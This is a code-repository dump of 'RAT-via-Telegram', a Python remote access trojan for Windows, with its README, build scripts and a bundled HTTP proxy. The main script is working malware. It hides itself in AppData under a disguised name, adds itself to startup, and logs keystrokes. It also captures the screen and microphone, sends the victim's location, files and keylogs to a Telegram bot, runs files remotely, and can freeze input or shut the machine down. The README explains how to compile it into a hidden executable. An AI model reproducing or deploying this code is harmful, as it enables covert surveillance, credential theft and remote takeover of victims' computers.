Full Code of Dviros/RAT-via-Telegram for AI

master 14a8a16d34fb cached
9 files
47.0 KB
11.1k tokens
60 symbols
1 requests
Download .txt
Repository: Dviros/RAT-via-Telegram
Branch: master
Commit: 14a8a16d34fb
Files: 9
Total size: 47.0 KB

Directory structure:
gitextract_ngogcj5m/

├── LICENSE
├── RATAttack.py
├── README.md
├── compileAndRun.bat
├── proxy.py
├── pyHook-1.5.1-cp27-cp27m-win32.whl
├── pyHook-1.5.1-cp27-cp27m-win_amd64.whl
├── requirements.txt
└── run.bat

================================================
FILE CONTENTS
================================================

================================================
FILE: LICENSE
================================================
MIT License

Copyright (c) 2017 Ritiek Malhotra

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


================================================
FILE: RATAttack.py
================================================
#Todo
#Split functions to classes
#Solve bugs
#Allow multi-keyboard capability
#Add new features from the Master fork
#Implement the new telepot MessageLoop() Class


from PIL import ImageGrab  # /capture_pc
from shutil import copyfile, copyfileobj, rmtree  # /ls, /pwd, /cd /copy
from sys import argv, path, stdout  # console output
from json import loads  # reading json from ipinfo.io
from winshell import startup  # persistence
from tendo import singleton  # this makes the application exit if there's another instance already running
from win32com.client import Dispatch  # used for WScript.Shell
from time import strftime, sleep
import time
import threading  # used for proxy
import proxy
import pyaudio, wave  # /hear
import telepot, requests  # telepot => telegram, requests => file download
from telepot.namedtuple import InlineKeyboardMarkup, InlineKeyboardButton
from telepot.loop import MessageLoop
import os, os.path, platform, ctypes
import pyHook, pythoncom  #keylogger
import getpass
import socket

# global content_type, chat_type, chat_id
global content_type, chat_type, chat_id, response, command


def checkchat_id(chat_id):
    return len(known_ids) == 0 or str(chat_id) in known_ids


def pressed_chars(event):
    if event and type(event.Ascii) == int:
        f = open(log_file, "a")
        if len(event.GetKey()) > 1:
            tofile = '<' + event.GetKey() + '>'
        else:
            tofile = event.GetKey()
        if tofile == '<Return>':
            print tofile
        else:
            stdout.write(tofile)
    return not keyboardFrozen


def internalIP():
    internal_ip = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    internal_ip.connect(('google.com', 0))
    return internal_ip.getsockname()[0]


def user_input(bot, from_id, msg):
    target = ''
    bot.sendMessage(from_id, "What's the target?")

    #target = msg['text']
    target = checkchat_id(msg[0])
    return target

def on_chat_message(msg):
    # chat_id = msg['chat']['id']
    content_type, chat_type, chat_id = telepot.glance(msg)
    info_keyboard = InlineKeyboardMarkup(inline_keyboard=[
        [InlineKeyboardButton(text='hear: [time in seconds, default=5s]', callback_data='hear')],
        [InlineKeyboardButton(text='ip_info', callback_data='ip_info')],
        [InlineKeyboardButton(text='keylogs', callback_data='keylogs')],
        [InlineKeyboardButton(text='ls: [target_folder]', callback_data='ls')],
        [InlineKeyboardButton(text='PC_info', callback_data='pc_info')],
        [InlineKeyboardButton(text='PWD', callback_data='pwd')],
        [InlineKeyboardButton(text='Tasklist: Returns the tasklist', callback_data='tasklist')],
        [InlineKeyboardButton(text='Self_Destruct', callback_data='self_destruct')],
        [InlineKeyboardButton(text='arp: Returns ARP Table', callback_data='arp')],
        [InlineKeyboardButton(text='DNS_Cache: Returns the DNS cache', callback_data='dns')],
        [InlineKeyboardButton(text='NSlookup: Returns the DNS table from the DNS server', callback_data='nslookup')]
    ])
    exec_keyboard = InlineKeyboardMarkup(inline_keyboard=[
        [InlineKeyboardButton(text='Capture_PC', callback_data='capture_pc')],
        [InlineKeyboardButton(text='cd: <target_dir>', callback_data='cd')],
        [InlineKeyboardButton(text='Delete: <target_file>', callback_data='delete')],
        [InlineKeyboardButton(text='Download: <target_file>', callback_data='download')],
        [InlineKeyboardButton(text='freeze_keyboard', callback_data='freeze_keyboard')],
        [InlineKeyboardButton(text='unfreeze_keyboard', callback_data='unfreeze_keyboard')],
        [InlineKeyboardButton(text='freeze_mouse', callback_data='freeze_mouse')],
        [InlineKeyboardButton(text='unfreeze_mouse', callback_data='unfreeze_mouse')],
        [InlineKeyboardButton(text='msg_box: <text>', callback_data='msg_box')],
        [InlineKeyboardButton(text='Play: <youtube_videoId>', callback_data='play')],
        [InlineKeyboardButton(text='Proxy', callback_data='proxy')],
        [InlineKeyboardButton(text='run <target_file>', callback_data='run')],
        [InlineKeyboardButton(text='Self_Destruct', callback_data='self_destruct')],
        [InlineKeyboardButton(text='Upload', callback_data='upload')],
        [InlineKeyboardButton(text='Ping: Ping a target', callback_data='ping')]
    ])
    bot_keyboard = InlineKeyboardMarkup(inline_keyboard=[
        [InlineKeyboardButton(text='Self_Destruct', callback_data='self_destruct')],
        [InlineKeyboardButton(text='Reboot the bot', callback_data='reboot_bot')],
        [InlineKeyboardButton(text='Reboot the computer', callback_data='reboot_pc')],
        [InlineKeyboardButton(text='Shutdown the computer', callback_data='shutdown_pc')],
    ])
    bot.sendMessage(chat_id, 'Information Gathering Commands:', reply_markup=info_keyboard)
    bot.sendMessage(chat_id, 'Executable Commands:', reply_markup=exec_keyboard)
    bot.sendMessage(chat_id, 'Management Commands:', reply_markup=bot_keyboard)

    if checkchat_id(chat_id):
        if 'text' in msg:
            print 'Got message from ' + str(chat_id) + ': ' + msg['text']


def on_callback_query(msg):
    command = ''
    file_name = ''
    response = ''
    target = ''
    query_id, from_id, query_data = telepot.glance(msg, flavor='callback_query')
    print('Callback Query:', query_id, from_id, query_data)
    if query_data == 'capture_pc':
        bot.sendChatAction(from_id, 'typing')
        screenshot = ImageGrab.grab()
        screenshot.save('screenshot.jpg')
        bot.sendChatAction(from_id, 'upload_photo')
        bot.sendDocument(from_id, open('screenshot.jpg', 'rb'))
        os.remove('screenshot.jpg')
    elif query_data == 'arp':
        bot.sendChatAction(from_id, 'typing')
        lines = os.popen('arp -a -N ' + internalIP())
        for line in lines:
            line.replace('\n\n', '\n')
            response += line
        bot.sendMessage(from_id, response)
    elif query_data == 'dns':
        bot.sendChatAction(from_id, 'typing')
        lines = os.popen('ipconfig /displaydns')
        for line in lines:
            line.replace('\n\n', '\n')
            if len(line) > 2000:
                response2 += line
            else:
                response += line
        bot.sendMessage(from_id, response)
        bot.sendMessage(from_id, response2)
        #Too long, can't be sent - needs to be splited
    elif query_data == 'nslookup':
        bot.sendChatAction(from_id, 'typing')
        lines = os.popen('nslookup -ls -d *')
        for line in lines:
            line.replace('\n\n', '\n')
            response += line
        bot.sendMessage(from_id, response)
    elif query_data == 'ping':
        bot.sendChatAction(from_id, 'typing')
        target = user_input(bot, from_id, msg)
        print target
        #
        #    bot.sendMessage(from_id, "What's the target?")
        #    bot.answerCallbackQuery()
        #    target = query_data
        #
        lines = os.popen('ping '+ target)
        for line in lines:
            line.replace('\n\n', '\n')
            response += line
        bot.sendMessage(from_id, response)
    elif query_data == 'delete':
        command = command.replace('/delete', '')
        path_file = command.strip()
        try:
            os.remove(path_file)
            response = 'Succesfully removed file'
            bot.sendMessage(from_id, response)
        except:
            try:
                os.rmdir(path_file)
                response = 'Succesfully removed folder'
                bot.sendMessage(from_id, response)
            except:
                try:
                    shutil.rmtree(path_file)
                    response = 'Succesfully removed folder and it\'s files'
                    bot.sendMessage(from_id, response)
                except:
                    response = 'File not found'
                    bot.sendMessage(from_id, response)
    elif query_data == 'download':
        bot.sendChatAction(from_id, 'typing')
        path_file = command.replace('/download', '')
        path_file = path_file[1:]
        if path_file == '':
            response = 'Please type the full path to download, for example, "c:\windows\system32\hal.dll"'
            bot.sendMessage(from_id, response)
            while path_file == '':
                query_data = path_file
                bot.message
            else:
                bot.sendChatAction(from_id, 'upload_document')
                try:
                    bot.sendDocument(from_id, open(path_file, 'rb'))
                except:
                    try:
                        bot.sendDocument(from_id, open(hide_folder + '\\' + path_file))
                        response = 'Found in hide_folder: ' + hide_folder
                        bot.sendMessage(from_id, response)
                    except:
                        response = 'Could not find ' + path_file
                        bot.sendMessage(from_id, response)
            #response = '/download C:/path/to/file.name or /download file.name'
            #bot.sendMessage(from_id, response)

        else:
            bot.sendChatAction(from_id, 'upload_document')
            try:
                bot.sendDocument(from_id, open(path_file, 'rb'))
            except:
                try:
                    bot.sendDocument(from_id, open(hide_folder + '\\' + path_file))
                    response = 'Found in hide_folder: ' + hide_folder
                    bot.sendMessage(from_id, response)
                except:
                    response = 'Could not find ' + path_file
                    bot.sendMessage(from_id, response)
    elif query_data == 'freeze_keyboard':
        global keyboardFrozen
        keyboardFrozen = not command.startswith('un')
        hookManager.KeyAll = lambda event: not keyboardFrozen
        response = 'Keyboard is now '
        if keyboardFrozen:
            response += 'disabled. To enable, use unfreeze_keyboard'
            bot.sendMessage(from_id, response)
        else:
            response += 'enabled'
            bot.sendMessage(from_id, response)
    elif query_data == 'unfreeze_keyboard':
        hookManager.KeyAll = lambda event: keyboardFrozen
        response = 'Keyboard is now enabled'
        bot.sendMessage(from_id, response)
    elif query_data == 'freeze_mouse':
        global mouseFrozen
        mouseFrozen = not command.startswith('/un')
        hookManager.MouseAll = lambda event: not mouseFrozen
        hookManager.HookMouse()
        response = 'Mouse is now '
        if mouseFrozen:
            response += 'disabled. To enable, use unfreeze_mouse'
            bot.sendMessage(from_id, response)
        else:
            response += 'enabled'
            bot.sendMessage(from_id, response)
    elif query_data == 'unfreeze_mouse':
        hookManager.MouseAll = lambda event: mouseFrozen
        response = 'Mouse is now unfreeze'
        bot.sendMessage(from_id, response)
    elif query_data == 'hear':
        SECONDS = -1
        try:
            SECONDS = int(command.replace('/hear', '').strip())
        except:
            SECONDS = 5

        CHANNELS = 2
        CHUNK = 1024
        FORMAT = pyaudio.paInt16
        RATE = 44100

        audio = pyaudio.PyAudio()
        bot.sendChatAction(from_id, 'typing')
        stream = audio.open(format=FORMAT, channels=CHANNELS,
                            rate=RATE, input=True,
                            frames_per_buffer=CHUNK)
        frames = []
        for i in range(0, int(RATE / CHUNK * SECONDS)):
            data = stream.read(CHUNK)
            frames.append(data)
        stream.stop_stream()
        stream.close()
        audio.terminate()

        wav_path = hide_folder + '\\mouthlogs.wav'
        waveFile = wave.open(wav_path, 'wb')
        waveFile.setnchannels(CHANNELS)
        waveFile.setsampwidth(audio.get_sample_size(FORMAT))
        waveFile.setframerate(RATE)
        waveFile.writeframes(b''.join(frames))
        waveFile.close()
        bot.sendChatAction(from_id, 'upload_document')
        bot.sendAudio(from_id, audio=open(wav_path, 'rb'))
    elif query_data == 'ip_info':
        bot.sendChatAction(from_id, 'find_location')
        info = requests.get('http://ipinfo.io').text  # json format
        response = 'External IP: ' + info.replace('{', '').replace('}', '').replace(' "', '').replace('"',
                                                                                                      '') + '\n' + 'Internal IP: ' + '\n' + internalIP()
        bot.sendMessage(from_id, response)
        location = (loads(info)['loc']).split(',')
        bot.sendLocation(from_id, location[0], location[1])
    elif query_data == 'keylogs':
        bot.sendChatAction(from_id, 'upload_document')
        bot.sendDocument(from_id, open(log_file, "rb"))
    elif query_data == 'ls':
        bot.sendChatAction(from_id, 'typing')
        command = command.replace('/ls', '')
        command = command.strip()
        files = []
        if len(command) > 0:
            files = os.listdir(command)
        else:
            files = os.listdir(os.getcwd())
        human_readable = ''
        for file in files:
            human_readable += file + '\n'
        response = human_readable
        bot.sendMessage(from_id, response)
    elif query_data == 'msg_box':
        message = command.replace('/msg_box', '')
        if message == '':
            response = '/msg_box yourText'
            bot.sendMessage(from_id, response)
        else:
            ctypes.windll.user32.MessageBoxW(0, message, u'Information', 0x40)
            response = 'MsgBox displayed'
            bot.sendMessage(from_id, response)
    elif query_data == 'pc_info':
        bot.sendChatAction(from_id, 'typing')
        info = ''
        for pc_info in platform.uname():
            info += '\n' + pc_info
        response = info + '\n' + 'Username: ' + getpass.getuser()
        bot.sendMessage(from_id, response)
    elif query_data == 'play':
        command = command.replace('/play ', '')
        command = command.strip()
        if len(command) > 0:
            systemCommand = 'start \"\" \"https://www.youtube.com/embed/'
            systemCommand += command
            systemCommand += '?autoplay=1&showinfo=0&controls=0\"'
            if os.system(systemCommand) == 0:
                response = 'YouTube video is now playing'
                bot.sendMessage(from_id, response)
            else:
                response = 'Failed playing YouTube video'
                bot.sendMessage(from_id, response)
        else:
            response = '/play <VIDEOID>\n/play A5ZqNOJbamU'
            bot.sendMessage(from_id, response)
    elif query_data == 'proxy':
        threading.Thread(target=proxy.main).start()
        info = requests.get('http://ipinfo.io').text  # json format
        ip = (loads(info)['ip'])
        response = 'Proxy succesfully setup on ' + ip + ':8081'
        bot.sendMessage(from_id, response)
    elif query_data == 'pwd':
        response = os.getcwd()
        bot.sendMessage(from_id, response)
    elif query_data == 'tasklist':
        response2 = ''
        lines = os.popen('tasklist /FI "STATUS eq RUNNING"')
        for line in lines:
            line.replace('\n\n', '\n')
            if len(line)>2000:
                response2 +=line
            else:
                response += line
        print len(response)
        bot.sendMessage(from_id, response)
        bot.sendMessage(from_id, response2)
    elif query_data == 'run':
        bot.sendChatAction(from_id, 'typing')
        path_file = command.replace('/run', '')
        path_file = path_file[1:]
        if path_file == '':
            response = '/run_file C:/path/to/file'
            bot.sendMessage(from_id, response)
        else:
            try:
                os.startfile(path_file)
                response = 'File ' + path_file + ' has been run'
                bot.sendMessage(from_id, response)
            except:
                try:
                    os.startfile(hide_folder + '\\' + path_file)
                    response = 'File ' + path_file + ' has been run from hide_folder'
                    bot.sendMessage(from_id, response)
                except:
                    response = 'File not found'
                    bot.sendMessage(from_id, response)
    elif query_data == 'self_destruct':
        bot.sendChatAction(from_id, 'typing')
        response = 'Destroying all traces!'
        bot.sendMessage(from_id, response)
        if os.path.exists(hide_folder):
            for file in os.listdir(hide_folder):
                try:
                    os.remove(hide_folder + '\\' + file)
                except:
                    pass
        if os.path.isfile(target_shortcut):
            os.remove(target_shortcut)
        while True:
            sleep(10)
    elif query_data == 'to':
        command = command.replace('/to', '')
        if command == '':
            response = '/to <COMPUTER_1_NAME>, <COMPUTER_2_NAME> /msg_box Hello HOME-PC and WORK-PC'
            bot.sendMessage(from_id, response)
        else:
            targets = command[:command.index('/')]
            if platform.uname()[1] in targets:
                command = command.replace(targets, '')
                msg = {'text': command, 'chat': {'id': chat_id}}
                handle(msg)
    elif query_data == 'reboot':
        bot.sendChatAction(from_id, 'typing')
        response = 'Rebooting, please wait'
        bot.sendMessage(from_id, response)

    elif query_data == 'cd':
        command = command.replace('/cd ', '')
        try:
            os.chdir(command)
            response = os.getcwd() + '>'
            bot.sendMessage(from_id, response)
        except:
            response = 'No subfolder matching ' + command
            bot.sendMessage(from_id, response)
    elif query_data == 'reboot_pc':
        bot.sendChatAction(from_id, 'typing')
        command = os.popen('shutdown /r /f /t 0')
        response = 'Computer will be restarted NOW.'
        bot.sendMessage(from_id, response)
    elif query_data == 'shutdown_pc':
        bot.sendChatAction(from_id, 'typing')
        command = os.popen('shutdown /s /f /t 0')
        response = 'Computer will be shutdown NOW.'
        bot.sendMessage(from_id, response)
    elif query_data == 'upload':  # Upload a file to target
        file_id = None
        if 'document' in msg:
            file_name = msg['document']['file_name']
            file_id = msg['document']['file_id']
        elif 'photo' in msg:
            file_time = int(time.time())
            file_id = msg['photo'][1]['file_id']
            file_name = file_id + '.jpg'
        file_path = bot.getFile(file_id=file_id)['file_path']
        link = 'https://api.telegram.org/file/bot' + str(token) + '/' + file_path
        file = (requests.get(link, stream=True)).raw
        with open(hide_folder + '\\' + file_name, 'wb') as out_file:
            copyfileobj(file, out_file)
        response = 'File received succesfully.'
        bot.sendMessage(from_id, response)

    bot.answerCallbackQuery(query_id, text='DONE SON!')


me = singleton.SingleInstance()

# HIDING OPTIONS
# ---------------------------------------------
appdata_roaming_folder = 'APPDATA'  # = 'C:\Users\Username\AppData\Roaming'
hide_folder = appdata_roaming_folder + r'\Portal'  # = 'C:\Users\Username\AppData\Roaming\Portal'
compiled_name = 'portal.exe'  # Name of compiled .exe to hide in hide_folder, i.e 'C:\Users\Username\AppData\Roaming\Portal\portal.exe'
# ---------------------------------------------
target_shortcut = startup() + '\\' + compiled_name.replace('.exe', '.lnk')
if not os.path.exists(hide_folder):
    os.makedirs(hide_folder)
    hide_compiled = hide_folder + '\\' + compiled_name
    copyfile(argv[0], hide_compiled)
    shell = Dispatch('WScript.Shell')
    shortcut = shell.CreateShortCut(target_shortcut)
    shortcut.Targetpath = hide_compiled
    shortcut.WorkingDirectory = hide_folder
    shortcut.save()
initi = False
keyboardFrozen = False
mouseFrozen = False
user = os.environ.get("USERNAME")  # Windows username to append keylogs.txt
log_file = hide_folder + '\\keylogs.txt'
hookManager = pyHook.HookManager()
# functionalities dictionary: command:arguments

with open(log_file, "a") as writing:
    writing.write("-------------------------------------------------\n")
    writing.write(user + " Log: " + strftime("%b %d@%H:%M") + "\n\n")

# REPLACE THE LINE BELOW WITH THE TOKEN OF THE BOT YOU GENERATED!
#token = os.environ['11111111:111111111111111111111111111111111']  # you can set your environment variable as well
token = '11111111:111111111111111111111111111111111'

# ADD YOUR chat_id TO THE LIST BELOW IF YOU WANT YOUR BOT TO ONLY RESPOND TO ONE PERSON!
# known_ids = ''
# known_ids = []
# known_ids.append(os.environ['TELE# GRAM_CHAT_ID']) # make sure to remove this line if you don't have this environment variable
# known_ids.append(os.environ['TELEGRAM_CHAT_ID']) # make sure to remove this line if you don't have this environment variable

#appdata_roaming_folder = os.environ['APPDATA']	# = 'C:\Users\Username\AppData\Roaming'

known_ids = '111111111'
bot = telepot.Bot(token)
MessageLoop(bot, {'chat': on_chat_message,
                  'callback_query': on_callback_query}).run_as_thread()
#bot.message_loop({'chat': on_chat_message,
#                  'callback_query': on_callback_query})
if len(known_ids) > 0:
    helloWorld = platform.uname()[1] + ": I'm up. Type anything to get the keyboard layout."
    print helloWorld
    # for known_id in known_ids:
    bot.sendMessage(known_ids, helloWorld)
print 'Listening for commands on ' + platform.uname()[1] + '...'
hookManager.KeyDown = pressed_chars
hookManager.HookKeyboard()
pythoncom.PumpMessages()


================================================
FILE: README.md
================================================
# RAT-via-Telegram
## Dviros's notes:
Windows Remote Post Breach Tool via Telegram (Python 2.7),
Originally created by <a href="http://github.com/Ritiek">Ritiek</a>, Forked and modified by <a href="http://github.com/mvrozanti">mvrozanti</a> and then myself.

The whole purpose of this tool is to demonstrate (as a "PoC") the control of an already breached machine, via Telegram.
As the same with my already written tools, I do not promote illegal activities.

This modified version uses Telegram bot API v2, instead of the traditional v1. The main change is keyboard buttons instead of text typing.
I will try to add new features, close bugs and be compatible to the API v3, after adding the needed changes from "mvrozanti".
In the meanwhile, cd, download, upload, run and delete commands will not work.


## Donations will be highly appreciated
![Monero Donation](https://i.imgur.com/AMK3OCh.png)

### Currently Working Features:

- Run keylogger on the target
- Get target PC's Windows version, processor and more
- Get target PC's IP address information and approximate location on map
- [WIP] Delete files or folder on target
- Show current directory on target
- [WIP] Change current directory on target
- List current or specified directory on target
- [WIP] Download any file from the target
- Upload local files to the target. Send your image, pdf, exe or anything as `file` to the Telegram bot
- Autostart playing a video in fullscreen and no controls for a youtube video on target
- Screenshots of the target
- [WIP] Execute any file on the target
- Access to microphone on target
- Start HTTP Proxy Server
- Freeze target's keyboard
- Return the target's ARP table
- [WIP] Schedule tasks to run at specified time
- [WIP] Freeze target's mouse
- Get active processes and services
- [WIP] Capture clipboard (Text, Image)
- [WIP] Disable/Enable mouse/keyboard
- [WIP] Hide desktop icons
- [WIP] Update .exe on target
- [WIP] Shutdown \ Reboot computer
- [WIP] Self-Destruct RAT on the target
- [WIP] Take snapshots from the webcam (if attached)
- [WIP] Copy and Move files on the target
- [WIP] Audio compression
- More coming soon!



## Ritiek's legacy notes:
### Why another one?

- The current Remote Administration Tools in the market face 2 major problems:

    - Lack of encryption.
    - Require port forwarding in order to control from hundreds of miles.

- This RAT overcomes both these issues by using the Telegram bot API.

    - Fully encrypted. The data being exchanged cannot be spied upon using MITM tools.
    - Telegram messenger app provides a simple way to communicate to the target without configuring port forward before hand on the target.


## Screenshots:

<img src="http://i.imgur.com/I5nzrbz.jpg">

## Installation & Usage:

- Clone this repository.
- Set up a new Telegram bot talking to the `BotFather`.
- Copy this token and replace it in the beginning of the script.
- Install the dependencies: `pip install -r requirements.txt`.
- Install pyHook `64-bit` or `32-bit` depending on your system.
    - For 64-bit- `pip install pyHook-1.5.1-cp27-cp27m-win_amd64.whl`.
    - For 32-bit- `pip install pyHook-1.5.1-cp27-cp27m-win32.whl`.
- To run the script: `python RATAttack.py`.
- Find your bot on telegram and send some command to the bot to test it.
- To restrict the bot so that it responds only to you, note down your `chat_id` from the console and replace it in the script and comment out the line `return True`. Don't worry, you'll know when you read the comments in the script.
<img src="http://i.imgur.com/XKARtrp.png">
- A folder named `RATAttack` will be created in your working directory containing `keylogs.txt` and any files you upload to the bot.


## Compiling:

### How To Compile:
#### Either:
	Replace your path in compileAndRun.bat (running this will actually run the executable)
#### Or:
	Run `pyinstaller --onefile --noconsole C:\path\to\RATAttack.py`. You can also pass `--icon=<path\to\icon.ico>` to use any custom icon.
- Once it is compiled successfully, find the `.exe` file in `C:\Python27\Scripts\dist\`. You can change the name of the `.exe` to anything you wish.
- **BEWARE!** If you run the compiled `.exe`, the script will hide itself and infect your PC to run at startup. You can return to normal by using the `/self_destruct` option or manually removing `C:\Users\Username\AppData\Roaming\Portal` directory and `C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\portal.lnk` (although I recommend removing them manually for the time being).

### Modifying Settings:

- You can also modify the name of hidden `.exe` file and location & name of the folder where the hidden `.exe` will hide itself. To do this; modify `compiled_name` and `hide_folder` respectively.
- Assign your known chat ids to beginning of RATAttack.py



## License:

`The MIT License`


================================================
FILE: compileAndRun.bat
================================================
rem --specpath "D:\Google Drive\Programming\Python\RAT-via-Telegram\" --distpath "D:\Google Drive\Programming\Python\RAT-via-Telegram\dist" --workpath "D:\Google Drive\Programming\Python\RAT-via-Telegram\build"
pyinstaller --clean --upx-dir "upx393w" --onefile "D:\Google Drive\Programming\Python\RAT-via-Telegram\RATAttack.py"
"D:\Google Drive\Programming\Python\RAT-via-Telegram\dist\RATAttack.exe"

================================================
FILE: proxy.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
    proxy.py
    ~~~~~~~~
    
    HTTP Proxy Server in Python.
    
    :copyright: (c) 2013 by Abhinav Singh.
    :license: BSD, see LICENSE for more details.
"""
VERSION = (0, 2)
__version__ = '.'.join(map(str, VERSION[0:2]))
__description__ = 'HTTP Proxy Server in Python'
__author__ = 'Abhinav Singh'
__author_email__ = 'mailsforabhinav@gmail.com'
__homepage__ = 'https://github.com/abhinavsingh/proxy.py'
__license__ = 'BSD'

import sys
import threading
import datetime
import argparse
import logging
import socket
import select

logger = logging.getLogger(__name__)

# True if we are running on Python 3.
PY3 = sys.version_info[0] == 3

if PY3:
    text_type = str
    binary_type = bytes
    from urllib import parse as urlparse
else:
    text_type = unicode
    binary_type = str
    import urlparse


def text_(s, encoding='utf-8', errors='strict'):
    """ If ``s`` is an instance of ``binary_type``, return
    ``s.decode(encoding, errors)``, otherwise return ``s``"""
    if isinstance(s, binary_type):
        return s.decode(encoding, errors)
    return s  # pragma: no cover


def bytes_(s, encoding='utf-8', errors='strict'):
    """ If ``s`` is an instance of ``text_type``, return
    ``s.encode(encoding, errors)``, otherwise return ``s``"""
    if isinstance(s, text_type):  # pragma: no cover
        return s.encode(encoding, errors)
    return s

version = bytes_(__version__)

CRLF, COLON, SP = b'\r\n', b':', b' '

HTTP_REQUEST_PARSER = 1
HTTP_RESPONSE_PARSER = 2

HTTP_PARSER_STATE_INITIALIZED = 1
HTTP_PARSER_STATE_LINE_RCVD = 2
HTTP_PARSER_STATE_RCVING_HEADERS = 3
HTTP_PARSER_STATE_HEADERS_COMPLETE = 4
HTTP_PARSER_STATE_RCVING_BODY = 5
HTTP_PARSER_STATE_COMPLETE = 6

CHUNK_PARSER_STATE_WAITING_FOR_SIZE = 1
CHUNK_PARSER_STATE_WAITING_FOR_DATA = 2
CHUNK_PARSER_STATE_COMPLETE = 3


class ChunkParser(object):
    """HTTP chunked encoding response parser."""
    
    def __init__(self):
        self.state = CHUNK_PARSER_STATE_WAITING_FOR_SIZE
        self.body = b''
        self.chunk = b''
        self.size = None
    
    def parse(self, data):
        more = True if len(data) > 0 else False
        while more: more, data = self.process(data)
    
    def process(self, data):
        if self.state == CHUNK_PARSER_STATE_WAITING_FOR_SIZE:
            line, data = HttpParser.split(data)
            self.size = int(line, 16)
            self.state = CHUNK_PARSER_STATE_WAITING_FOR_DATA
        elif self.state == CHUNK_PARSER_STATE_WAITING_FOR_DATA:
            remaining = self.size - len(self.chunk)
            self.chunk += data[:remaining]
            data = data[remaining:]
            if len(self.chunk) == self.size:
                data = data[len(CRLF):]
                self.body += self.chunk
                if self.size == 0:
                    self.state = CHUNK_PARSER_STATE_COMPLETE
                else:
                    self.state = CHUNK_PARSER_STATE_WAITING_FOR_SIZE
                self.chunk = b''
                self.size = None
        return len(data) > 0, data

class HttpParser(object):
    """HTTP request/response parser."""
    
    def __init__(self, type=None):
        self.state = HTTP_PARSER_STATE_INITIALIZED
        self.type = type if type else HTTP_REQUEST_PARSER
        
        self.raw = b''
        self.buffer = b''
        
        self.headers = dict()
        self.body = None
        
        self.method = None
        self.url = None
        self.code = None
        self.reason = None
        self.version = None
        
        self.chunker = None
    
    def parse(self, data):
        self.raw += data
        data = self.buffer + data
        self.buffer = b''
        
        more = True if len(data) > 0 else False
        while more: 
            more, data = self.process(data)
        self.buffer = data
    
    def process(self, data):
        if self.state >= HTTP_PARSER_STATE_HEADERS_COMPLETE and \
        (self.method == b"POST" or self.type == HTTP_RESPONSE_PARSER):
            if not self.body:
                self.body = b''

            if b'content-length' in self.headers:
                self.state = HTTP_PARSER_STATE_RCVING_BODY
                self.body += data
                if len(self.body) >= int(self.headers[b'content-length'][1]):
                    self.state = HTTP_PARSER_STATE_COMPLETE
            elif b'transfer-encoding' in self.headers and self.headers[b'transfer-encoding'][1].lower() == b'chunked':
                if not self.chunker:
                    self.chunker = ChunkParser()
                self.chunker.parse(data)
                if self.chunker.state == CHUNK_PARSER_STATE_COMPLETE:
                    self.body = self.chunker.body
                    self.state = HTTP_PARSER_STATE_COMPLETE
            
            return False, b''
        
        line, data = HttpParser.split(data)
        if line == False: return line, data
        
        if self.state < HTTP_PARSER_STATE_LINE_RCVD:
            self.process_line(line)
        elif self.state < HTTP_PARSER_STATE_HEADERS_COMPLETE:
            self.process_header(line)
        
        if self.state == HTTP_PARSER_STATE_HEADERS_COMPLETE and \
        self.type == HTTP_REQUEST_PARSER and \
        not self.method == b"POST" and \
        self.raw.endswith(CRLF*2):
            self.state = HTTP_PARSER_STATE_COMPLETE
        
        return len(data) > 0, data
    
    def process_line(self, data):
        line = data.split(SP)
        if self.type == HTTP_REQUEST_PARSER:
            self.method = line[0].upper()
            self.url = urlparse.urlsplit(line[1])
            self.version = line[2]
        else:
            self.version = line[0]
            self.code = line[1]
            self.reason = b' '.join(line[2:])
        self.state = HTTP_PARSER_STATE_LINE_RCVD
    
    def process_header(self, data):
        if len(data) == 0:
            if self.state == HTTP_PARSER_STATE_RCVING_HEADERS:
                self.state = HTTP_PARSER_STATE_HEADERS_COMPLETE
            elif self.state == HTTP_PARSER_STATE_LINE_RCVD:
                self.state = HTTP_PARSER_STATE_RCVING_HEADERS
        else:
            self.state = HTTP_PARSER_STATE_RCVING_HEADERS
            parts = data.split(COLON)
            key = parts[0].strip()
            value = COLON.join(parts[1:]).strip()
            self.headers[key.lower()] = (key, value)
    
    def build_url(self):
        if not self.url:
            return b'/None'
        
        url = self.url.path
        if url == b'': url = b'/'
        if not self.url.query == b'': url += b'?' + self.url.query
        if not self.url.fragment == b'': url += b'#' + self.url.fragment
        return url
    
    def build_header(self, k, v):
        return k + b": " + v + CRLF
    
    def build(self, del_headers=None, add_headers=None):
        req = b" ".join([self.method, self.build_url(), self.version])
        req += CRLF
        
        if not del_headers: del_headers = []
        for k in self.headers:
            if not k in del_headers:
                req += self.build_header(self.headers[k][0], self.headers[k][1])
        
        if not add_headers: add_headers = []
        for k in add_headers:
            req += self.build_header(k[0], k[1])
        
        req += CRLF
        if self.body:
            req += self.body
        
        return req
    
    @staticmethod
    def split(data):
        pos = data.find(CRLF)
        if pos == -1: return False, data
        line = data[:pos]
        data = data[pos+len(CRLF):]
        return line, data

class Connection(object):
    """TCP server/client connection abstraction."""
    
    def __init__(self, what):
        self.buffer = b''
        self.closed = False
        self.what = what # server or client
    
    def send(self, data):
        return self.conn.send(data)
    
    def recv(self, bytes=8192):
        try:
            data = self.conn.recv(bytes)
            if len(data) == 0:
                logger.debug('recvd 0 bytes from %s' % self.what)
                return None
            logger.debug('rcvd %d bytes from %s' % (len(data), self.what))
            return data
        except Exception as e:
            logger.exception('Exception while receiving from connection %s %r with reason %r' % (self.what, self.conn, e))
            return None
    
    def close(self):
        self.conn.close()
        self.closed = True
    
    def buffer_size(self):
        return len(self.buffer)
    
    def has_buffer(self):
        return self.buffer_size() > 0
    
